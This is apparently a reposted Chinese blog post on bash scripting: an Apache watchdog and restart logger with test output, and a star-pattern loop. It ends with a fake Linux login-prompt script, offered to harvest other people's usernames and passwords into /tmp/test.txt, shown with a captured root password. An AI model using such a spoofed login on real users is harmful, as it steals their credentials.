[root@localhost shell]# cat /www/a.html
OK
[root@localhost ~]# lsof -i:80
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 32105 root 3u IPv4 409340 TCP *:http (LISTEN)
httpd 32109 daemon 3u IPv4 409340 TCP *:http (LISTEN)
httpd 32111 daemon 3u IPv4 409340 TCP *:http (LISTEN)
httpd 32113 daemon 3u IPv4 409340 TCP *:http (LISTEN)
[root@localhost ~]# killall httpd
[root@localhost ~]# lsof -i:80
[root@localhost ~]# lsof -i:80 在我杀死httpd进程的大概一两秒时间内,apache服务没有起来,但是很快就可以了,
如果是在实际生产中,可以把脚本中的sleep时间改成1.
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 618 root 3u IPv4 411612 TCP *:http (LISTEN)
[root@localhost ~]# lsof -i:80
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
httpd 618 root 3u IPv4 411612 TCP *:http (LISTEN)
httpd 623 daemon 3u IPv4 411612 TCP *:http (LISTEN)
httpd 625 daemon 3u IPv4 411612 TCP *:http (LISTEN)
httpd 627 daemon 3u IPv4 411612 TCP *:http (LISTEN)
a.html.106 a.html.………………
我擦,发现爆表了,忘记了,脚本还没有完善,需要把这东西全干掉
而且我还想要记录apache的重启时间和次数,所以还需要更改脚本
#!/bin/bash
while [ 1 ]
do
wget http://127.0.0.1/a.html > /dev/null 2>&1
if [ $? -ne 0 ]
then
service apache restart >/dev/null 2>&1
echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
else
wt=`cat a.html`
if [ $wt != 'OK' ]
then
service apache restart > /dev/null 2>&1
echo "apache restart at `date +%y-%m-%d\ %H:%M:%S`" >> times.txt
fi
fi
rm -rf a.html
sleep 2
done
然后我开始做测试
[root@localhost shell]# cat times.txt
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt
[root@localhost shell]# cat times.txt
apache restart at 13-10-15 17:47:27
[root@localhost shell]# killall httpd
[root@localhost shell]# cat times.txt
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40
然后我去改a.html的内容
[root@localhost www]# cat a.html
OKiii ----------内容不是OK后,脚本两秒钟自动重新下载一次
[root@localhost shell]# tail -f times.txt
apache restart at 13-10-15 17:47:27
apache restart at 13-10-15 17:47:40
apache restart at 13-10-15 17:48:18
apache restart at 13-10-15 17:48:20
apache restart at 13-10-15 17:48:22
apache restart at 13-10-15 17:48:24
apache restart at 13-10-15 17:48:26
apache restart at 13-10-15 17:48:28
apache restart at 13-10-15 17:48:30
apache restart at 13-10-15 17:48:32
apache restart at 13-10-15 17:48:34
apache restart at 13-10-15 17:48:37
apache restart at 13-10-15 17:48:39
apache restart at 13-10-15 17:48:41
apache restart at 13-10-15 17:48:43
apache restart at 13-10-15 17:48:45
apache restart at 13-10-15 17:48:47
apache restart at 13-10-15 17:48:49
apache restart at 13-10-15 17:48:51
[root@localhost shell]#
当我改回来后,脚本停止日志输出,想要知道apache重启了多少次
[root@localhost shell]# wc -l times.txt | cut -d" " -f1
19
####################################################
顺便写了几个简单的脚本,觉得很有意思
#!/bin/bash
a=1
b=5
while [ $a -le $b ]
do
c=1
while [ $c -le $a ]
do
echo -n \*
let c++
done
let a++
echo
done
[root@localhost shell]# ./1.sh
*
**
***
****
*****
写一个简单的脚本,来套取别人的账号密码
#!/bin/bash
clear
cat /etc/issue| head -1
echo -e `uname -r` "on an" `uname -m`
echo -e -n `hostname | cut -d . -f1` "login:"
read aa
echo "passwd:"
read -s bb
echo -n "username:$aa password:$bb" >/tmp/test.txt
sleep 3
echo -e "\n"
echo "Login incorrect"
pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'`
kill -9 $pid
运行效果如下
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
2.6.18-194.el5 on an i686
localhost login:
[root@localhost ~]# cat /tmp/test.txt
username:root password:asdf
呵呵只是小大小闹,真正想套取别人的密码还做不到。
本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。